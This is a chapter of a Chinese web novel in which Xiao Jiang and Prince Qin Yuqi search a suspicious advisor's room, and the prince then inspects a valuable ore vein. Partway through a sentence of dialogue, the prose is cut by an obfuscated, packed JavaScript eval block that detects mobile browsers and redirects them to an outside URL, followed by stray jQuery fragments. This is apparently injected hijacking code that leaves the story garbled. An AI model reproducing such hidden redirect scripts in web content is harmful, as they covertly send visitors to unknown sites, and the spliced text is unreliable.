门开了。
秦於期正站在那扇门下。还好他反应及时,飞快向一边侧身,方才没有被门板砸到。
原来是这样,小江抱着花盆恍然大悟。
土生金,而金克木,盆中土真正供养的是金属盆身,而金的力量不只压制了盆中花草,更重要的是要压制木质的门窗,两个不显眼的花盆竟然构成了一个精巧的关门术法。
实在精妙。
小江第一次遇到这样的机关,不得不感叹。她纯属误打误撞,才能破了这个阵法。
“什么破门?怎么突然垮了,差一点砸到本公子。”秦於期一边掸身上的灰尘,一边破口大骂。他心里知道不是门的问题,大约是方才她那一脚的原因。但在她面前,最好还是门的问题。
“活该。”小江毫不客气笑道。
秦於期闻言竟也不生气,只是瞄了一眼小江的方向,发现她抱着一个破破烂烂的花盆,正对着自己笑。他晃了晃神,而后又故意显出些愠怒神色,道:“你敢笑我?”
小江没有管他,自顾自地进门准备一探究竟。
甫一进门,一阵扑面而来的异香就夺走了她的注意力。
这股味道十分浓郁,仿佛在这个密闭的房间烧了几天几夜,但香气却不难闻,反而十分有诱惑力,让人忍不住多吸上几口。片刻之后,人的嗅觉就适应了这种程度的香气,只觉得置身在这股香气中十分舒适放松,这感觉太美好,让人不自觉想要沉溺进去。
秦於期随后进来,几乎是立刻就闻到了同样的味道。但这股香气却是他从未闻到过的,馥郁而不觉腻,绵软悠长,这种独特的香料即便对于他这样常年品香用香的人来说都是上品。
这个家伙,竟然用的香料比他还好,平日里也不见他熏香,倒是偷偷藏起来用。秦於期有些不满地想道。
小江被这异香迷得有些沉浸,总觉的这股味道好像在哪里闻到过,只是一时想不起来。
她捏住鼻子继续往里面走,室内空间并不大,除了放床塌和案几的地方,其余的地方几乎可以一览无遗,如果真的藏了个人在这里几乎不可能发现不了。
“这下该死心了吧,你爹不可能藏在这儿。”
看着秦於期那张志得意满的脸,小江觉得很有些手痒。上次凑的那一顿还是轻了。
门口忽然传来一道低沉的声音,“未曾想,公子和这位小女郎似乎对在下的住所颇有兴趣。”
小江做贼心虚,被这突然出现的声音吓了一跳。
一回头,那个面色蜡黄的中年人正站在门口,面皮上挂着生硬的笑,日光被他挡在背后,带来一股阴冷气息。
“国……先生怎么回来了?”秦於期有些尴尬地往门口移了一步,正好挡在贾黔羊和小江之间。
带人搜屋子却被正主当场发现,一丝慌乱从心头闪过,但只有一瞬,很快秦於期便镇定自若。他是储君,他是臣,他有什么好慌的。
贾黔羊眼神扫过地上的门,以及另一边摇摇欲坠的门扇,那目光不言而喻——再不回来,怕是家都要被掀了。
“矿脉探出来了,特地回来告知公子。”贾黔羊回答道,没有对满地狼藉说什么,目光转而落在小江身上。
秦於期有些不满地上前几步,彻底挡住贾黔羊的视线,“找到矿脉是迟早的事,这种事让侍从告知即可,不必劳烦先生特意跑一趟。”他回头看了一眼,对着身后的人说,“别处还有几间屋子,我带你过去。”
秦於期说着就要迈步出门,完全没把破门而入当一回事,他这种对一切都理所当然的态度感染了小江,跟着秦於期大摇大摆地出门。
两人一前一后走着,昂首挺胸,一点心虚都看不出来。
走到稍远的地方,小江忍不住问秦於期,“那个门,真的不用管吗?”
不管怎样,她本质上还是个在江流云教导下长大的老实孩子,说起来两人无冤无仇,最多就是看他们这帮人不太顺眼,但这样破坏他人物品是不是不太好?
秦於期作出无所谓的样子挥手,“不用,侍从们会很快给他修好的。”
门的事他倒是不担心,只是这人深受父皇器重,回朝之后保不准会向父皇告他黑状,以后得想办法安抚他。
小江听到他这样肯定的答复,老实人的心放回肚子里,点点头。
但总觉得有哪里不对劲。
剩下的几间偏房没什么差别,小江一边面无表情地查看,脑子一边费劲琢磨,肯定有什么事情她忽略了。
一阵微风吹过,秦於期身上沾染的气味飘进小江鼻子,是那个贾先生房间香料的味道,经过扩散,现在闻到的已经极淡。幽幽的一缕,奇特而熟悉的味道,熟悉……小江忽然捕捉到了关键点,这个味道——
她在神殿也闻到过。
因为气味实在太独特了,她绝不会闻错。
但神殿是什么地方,普通寨民都少有机会进入的圣地,江流云怎么会让贾黔羊一个外来人进去?
……
不是受邀进入,那就只能是偷偷潜入了。
这个人身上有什么秘密吗?他会和父亲的消失有关吗?
秦於期还在给前面带路,发现小江不知什么时候停下来,还一脸心事重重的样子,他回身走到她身边问,“怎么不走了?”
小江摇摇头,“不找了,该找的地方已经找过了。”
她确信他说的没错,她爹的确不在这里,找了这么多间屋子,甚至包括那间阴侧侧的房间,都没有她爹的气味。
但是贾黔羊这个人十分可疑。
秦於期似是早就料到她会这样,这会儿也不生气了,反而笑出声来,“呵,这下总该相信本公子了吧。”
江渔火抬头,第一次认真打量这个总是骄横跋扈的小公子。他身量稍高过她,总是穿着华丽灿烂的锦袍,俊秀的面容稍显青涩,但眉宇间却时不时会显露出上位者惯有的威压。很容易发怒,但很快又会莫名其妙消气。明明和贾黔羊是一伙的,却带着她搜查自己人的房。
也是个奇怪的人。
“你干什么,这样……看着本公子。”秦於期被她看得有点不好意思,浑身不自在起来,目光都不知道该往哪里放,心跳却不期然加速起来。
“本公子要去看矿石了,你要一同去吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187074|165496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”秦於期依然不正眼看她,目光却忍不住飞快瞟过几眼,想看清她的表情。
“不去。”小江面色没有任何起伏,平淡拒绝。
少女仿佛一下子对他失去兴趣,又一次说走就走。
“江渔火!”秦於期又气又急,忽然喊住她,“你……”话音戛然而止,秦於期莫名变得恼火,紧咬着嘴唇,想问的话却怎样都问不出口。
她到底什么意思?
为什么要盯着他看?
……为什么又不看了。
秦於期看着她的背影渐渐远去,咬牙切齿。呆子,实在可恶!
他神思不属地来到矿洞,青翠的山腰被开出一眼洞穴,远远看着就像一道丑陋的伤口。就在前些天,这道伤口还发生过一次溃烂。
洞穴外面围满了人,早有眼尖的人看见他的身影,自觉地让出一条道来。监工的是工官署的司丞刘诞,他母族里的族叔,在朝廷里担任个不大不小的官职,这次被他母后塞进来,就等着这次办好了差事回去加官晋爵。
刘诞听了通报,满头大汗地从洞穴里出来,衣服上成片的汗水和脏污,办事倒是不含糊。
“公子来了,快随下官进来。”
刘诞将秦於期引到洞穴里面,颇有些自得地向他展示壁面上反射着幽蓝光泽的矿石。
“公子请看。”
断裂的石壁上,一道蓝色的光带在山石之间延伸,直到没入消失在岩壁尽头,这就是他们千里迢迢也要赶来找的矿脉。矿脉都藏得很深,若是继续开凿,不知道还会采到多长的矿脉。
这不可谓不是一个巨大的发现。先前为了掩饰心虚,他故意在贾黔羊面前装作无所谓的样子,但现在真正看到,秦於期抑制不住地心潮澎拜起来。若是这些地蓝石都被铸成兵器,他大雍还用怕那些前朝余孽吗?纵使他们拥有再多术士又如何?
洞窟里光线有些暗,秦於期凑近了些,刘诞立刻周到地叫唤外面的匠人,“快些,将油火取来。”
秦於期本来在专心看矿石,耳朵却灵敏地捕捉到了关键词。
江渔火?她还是来了?
他心头一悦,立刻站起身向外看。她先前说不来,现在过来……是来找他的吗?正好让她也来看看,这个土包子,肯定不知道地蓝石,更不知道这东西有多么珍贵。
洞穴外站了一圈人,但秦於期找来找去,目光扫到的只是一张张陌生又无趣的脸。
匠人拿着火把过来,侍从殷勤地在他身侧举着照亮。
“公子,油火来了。”
秦於期嘴角的弧度瞬间垮下来,他意识到是自己听错了。
蓝色的矿石在火光下更加耀眼,秦於期却再也兴奋不起来,高昂的情绪像是蒙上了一层薄纱,失落的心绪一瞬间用上了来。她果然是讨厌他,她怎么可能会来呢?
侍从的火把顺着矿脉走向一路照亮到矿洞尽头,秦於期站在坚实厚重的石壁前,目光一错不错地看着嵌入山体的矿石。过了很久,站在他身边的刘诞听到他的命令,少年的声音沉稳而冷静,“继续开凿,不惜一切代价,也要让这里的地蓝石全部掌控在大雍手中。”